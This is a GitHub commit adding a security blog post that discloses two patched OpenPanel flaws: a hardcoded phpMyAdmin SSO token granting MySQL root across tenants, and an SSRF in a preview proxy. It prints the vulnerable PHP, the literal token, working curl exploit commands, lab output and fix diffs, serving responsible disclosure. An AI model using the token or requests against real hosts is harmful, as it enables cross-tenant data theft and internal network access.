Skip to content

Commit 2331e60

Browse files
committed
Add blog post: OpenPanel tenant isolation vulnerabilities
1 parent 0130cac commit 2331e60

2 files changed

Lines changed: 204 additions & 0 deletions

File tree

posts/index.json

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,10 @@
11
[
2+
{
3+
"slug": "openpanel-two-findings",
4+
"title": "Breaking OpenPanel's Tenant Isolation",
5+
"date": "2026-05-27",
6+
"summary": "Two pre-auth bugs in OpenPanel main branch: a hardcoded phpMyAdmin SSO token that crosses tenant boundaries to MySQL root, and an SSRF in the preview proxy that reaches RFC1918 and cloud metadata."
7+
},
28
{
39
"slug": "algernon-four-findings",
410
"title": "Four Findings in Algernon 1.17.6 with AI fuzzing",

posts/openpanel-two-findings.md

Lines changed: 198 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,198 @@
1+
*Author: [Dredsen](https://dredsen.github.io/)*
2+
3+
---
4+
5+
[OpenPanel](https://openpanel.com/) is a self-hosted web hosting control panel. The pitch is "VPS-grade isolation on shared hosting" - every customer gets their own dedicated Docker context with their own web server container, database container, PHP-FPM, private network, and storage volume. So a single OpenPanel host can run a few dozen unrelated tenants and (in theory) keep them all apart.
6+
7+
I spent an few hours reading the OpenPanel branch and ended up with two reportable bugs. One breaks the per-tenant promise wide open with a known token from the public source tree. The other is a textbook SSRF in a small side service the project ships in the same repo. Both are pre-auth on default configurations.
8+
9+
---
10+
11+
## What I found
12+
13+
### 1. Static phpMyAdmin SSO token grants MySQL root across tenants
14+
15+
OpenPanel provisions a per-user phpMyAdmin container for every account. The official docker-compose for that container looks like this (trimmed):
16+
17+
```yaml
18+
# configuration/docker/compose/1.0/docker-compose.yml
19+
phpmyadmin:
20+
image: phpmyadmin:${PMA_VERSION:-latest}
21+
volumes:
22+
- ./pma.php:/var/www/html/pma.php
23+
- /etc/openpanel/mysql/phpmyadmin/config.inc.php:/etc/phpmyadmin/config.inc.php:ro
24+
ports:
25+
- "${PMA_PORT}"
26+
environment:
27+
PMA_HOST: localhost
28+
MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
29+
```
30+
31+
The interesting bit is the `pma.php` script that gets mounted in. It is the SSO entrypoint - the OpenPanel UI is supposed to redirect users through it so they don't have to type their MySQL password to open phpMyAdmin.
32+
33+
Here is its auth check, in full, straight from the repo:
34+
35+
```php
36+
// configuration/mysql/phpmyadmin/pma.php
37+
<?php
38+
$fileToken = "IZs2cM1dmE2RluSrnUYH84kKBVjuhw";
39+
40+
require_once '/etc/phpmyadmin/config.secret.inc.php';
41+
require_once '/etc/phpmyadmin/helpers.php';
42+
43+
// ... env loading ...
44+
45+
$providedToken = isset($_GET['token']) ? $_GET['token'] : '';
46+
47+
if ($providedToken === $fileToken) {
48+
session_set_cookie_params(0, '/', '', 0);
49+
session_name('OPENPANEL_PHPMYADMIN');
50+
session_start();
51+
52+
if (isset($_ENV['MYSQL_ROOT_PASSWORD'])) {
53+
$_SESSION['PMA_single_signon_user'] = 'root';
54+
$_SESSION['PMA_single_signon_password'] = $_ENV['MYSQL_ROOT_PASSWORD'];
55+
$_SESSION['PMA_single_signon_host'] = $_ENV['PMA_HOST'] ?? 'mysql';
56+
}
57+
// ...
58+
header("Location: ./index.php?...");
59+
}
60+
```
61+
62+
The token `IZs2cM1dmE2RluSrnUYH84kKBVjuhw` is:
63+
64+
- the **only** thing standing between an anonymous HTTP request and a phpMyAdmin session as MySQL root inside the tenant's container,
65+
- a fixed string committed to the public OSS repo,
66+
- mounted into **every** user's phpMyAdmin container on **every** OpenPanel installation,
67+
- paired with that container's own `MYSQL_ROOT_PASSWORD` env, so it grants root on **that user's** MySQL, not just a generic phpMyAdmin login.
68+
69+
Once the operator publishes phpMyAdmin via `opencli phpmyadmin set <domain>` (the documented way users access it), the per-tenant container is reachable as `https://<pma-domain>/<user-port>/`. Caddy strips the port from the URL and reverse-proxies to `localhost:<user-port>`, which is the user's phpMyAdmin. The flow looks something like this end-to-end:
70+
71+
```bash
72+
# attacker, no panel account, doesn't matter who they are
73+
curl -ksLc cookies.txt \
74+
'https://pma.lab.tld/32811/pma.php?token=IZs2cM1dmE2RluSrnUYH84kKBVjuhw'
75+
76+
# now reuse the SSO cookie to run arbitrary SQL as MySQL root in alice's container
77+
curl -ks -b cookies.txt \
78+
'https://pma.lab.tld/32811/index.php?route=/import&server=1' \
79+
--data-urlencode 'token=<csrf>' \
80+
--data-urlencode 'db=alice_app' \
81+
--data-urlencode 'sql_query=SELECT user, authentication_string FROM mysql.user;'
82+
```
83+
84+
To verify before writing it up I ran a minimal local lab - one MariaDB plus the official phpMyAdmin image with the two repo files baked in at the correct paths. The exploit output:
85+
86+
```
87+
=== Step 1: hit pma.php with the static token from the public OSS repo ===
88+
token = IZs2cM1dmE2RluSrnUYH84kKBVjuhw
89+
HTTP/1.1 302 Found
90+
Set-Cookie: OPENPANEL_PHPMYADMIN=9c991d7f92f4f99e7efe4d1a4fdc9e13; path=/; HttpOnly
91+
Location: ./index.php?
92+
93+
=== Step 2: reuse the SSO cookie to query Alice's MySQL through phpMyAdmin ===
94+
Hits for LEAK_TAG_* in the phpMyAdmin response body:
95+
LEAK_TAG_CONFIDENTIAL_SSN_123_45_6789
96+
97+
[+] CONFIRMED: static token in pma.php yielded a phpMyAdmin SSO session as MySQL root.
98+
[+] Read Alice's internal_secrets row across the trust boundary with zero panel credentials.
99+
```
100+
101+
A row seeded into "Alice's" database appeared in the response, fetched by an unauthenticated curl client. From "Mallory's" point of view (a different tenant on the same host) the attack is the same one HTTP request, then SQL as root in someone else's MySQL container. The per-tenant isolation OpenPanel markets does not survive a static, public token.
102+
103+
The fix is to remove the constant and read a per-container value the operator provisions at user-create time, then compare in constant time:
104+
105+
```diff
106+
-$fileToken = "IZs2cM1dmE2RluSrnUYH84kKBVjuhw";
107+
+$fileToken = getenv('PMA_SSO_TOKEN') ?: '';
108+
+if (strlen($fileToken) < 32) {
109+
+ // refuse SSO when the operator has not provisioned a per-container token
110+
+ header("Location: ./index.php?loginform=true");
111+
+ exit;
112+
+}
113+
@@
114+
-if ($providedToken === $fileToken) {
115+
+if (hash_equals($fileToken, $providedToken)) {
116+
```
117+
118+
The provisioning side (`opencli/user/add.sh`) generates a random `PMA_SSO_TOKEN` per container, writes it to the user's `.env`, and hands it to the OpenPanel UI so the SSO redirect URL still works for that one user.
119+
120+
### 2. Preview-proxy SSRF reaches RFC1918 and cloud metadata
121+
122+
The same repo ships `services/proxy/` - a small Rocky Linux + Caddy + PHP service that lets a user generate a temporary subdomain on `*.openpanel.org` that proxies to a given `(domain, IP)` pair. The intended use case is "show me what mysite.com would look like if I switched DNS to 1.2.3.4" - a preview tool before committing the DNS change.
123+
124+
The public form looks like this (trimmed):
125+
126+
```php
127+
// services/proxy/html/index.php
128+
$ip = $_POST['ip'] ?? '';
129+
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
130+
exit("Error: Invalid IP.");
131+
}
132+
$fake_domain = $_POST['domain'] ?? '';
133+
134+
// ... random subdomain generation ...
135+
$configContent = sprintf("<?php\n\$domen = %s;\n\$ip = %s;\n",
136+
var_export($fake_domain, true),
137+
var_export($ip, true));
138+
file_put_contents("/var/www/html/domains/$subdomainPart/config.php", $configContent);
139+
redirectToSubdomain($subdomainPart, $rootDomain);
140+
```
141+
142+
When the new subdomain is then visited, the per-subdomain `virt/index.php` runs the actual proxy:
143+
144+
```php
145+
// services/proxy/html/virt/index.php
146+
include 'config.php'; // $ip and $domen, attacker-controlled
147+
148+
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
149+
http_response_code(400);
150+
die('Invalid IP address format: ' . htmlspecialchars($ip));
151+
}
152+
153+
$targetUrl = $scheme . $domen . $requestUri;
154+
$ch = curl_init($targetUrl);
155+
curl_setopt($ch, CURLOPT_HTTPHEADER, ['X-Forwarded-For: ' . $ip]);
156+
curl_setopt($ch, CURLOPT_RESOLVE, ["$domainOnly:80:$ip"]); // pin Host -> $ip
157+
$response = curl_exec($ch);
158+
// ...
159+
echo $response;
160+
```
161+
162+
Both validators do `filter_var($ip, FILTER_VALIDATE_IP)` - syntactic check only. The flags that PHP exposes for exactly this situation - `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` - are not passed. So `127.0.0.1`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.169.254`, IPv6 ULA - all valid as far as the filter is concerned. The proxy then dutifully curls port 80 on whichever one the attacker picked, with `Host` forced to whatever they typed in `domain`, and echoes the response body back.
163+
164+
End-to-end, against my lab stack (proxy container plus an internal `nginx:alpine` pinned to `10.99.0.50` inside an RFC1918 docker network):
165+
166+
```
167+
=== Sanity: 10.99.0.50 (RFC1918) is NOT routable from the host ===
168+
Direct: HTTP 000
169+
170+
=== Step 1: POST SSRF target (ip=10.99.0.50, domain=secret.lab) to /index.php ===
171+
HTTP/1.1 302 Found
172+
Location: https://63f7c.openpanel.org
173+
174+
=== Step 2: hit the new subdomain - proxy curls 10.99.0.50:80 internally ===
175+
Response body (first 8 lines):
176+
SECRET-FLAG-LEAKED-internal-only
177+
178+
[+] SSRF CONFIRMED - the public-facing proxy fetched 10.99.0.50 (RFC1918) and returned its body.
179+
```
180+
181+
The internal nginx is unreachable from the attacker's host (Step 1's `HTTP 000` confirms that). The proxy fetches it on the attacker's behalf and pipes the body back over the public preview subdomain. For a real-world deployment that's IMDSv1 on port 80 from a cloud host, internal admin panels in the same VPC, services bound to loopback, take your pick.
182+
183+
The fix is a one-line addition at both validator sites:
184+
185+
```diff
186+
-if (!filter_var($ip, FILTER_VALIDATE_IP)) {
187+
+if (!filter_var($ip, FILTER_VALIDATE_IP,
188+
+ FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
189+
http_response_code(400);
190+
die('Invalid IP address format: ' . htmlspecialchars($ip));
191+
}
192+
```
193+
194+
---
195+
196+
## Disclosure
197+
198+
Both were reported privately to OpenPanel via the contact in their `SECURITY.md`. The maintainer patched them and shipped fixed releases within the hour. Thanks to [stefanpejcic](https://github.com/stefanpejcic) for being responsive and turning fixes around. [In-depth advisories on the OpenPanel security tab](https://github.com/stefanpejcic/OpenPanel/security).

0 commit comments

Comments
 (0)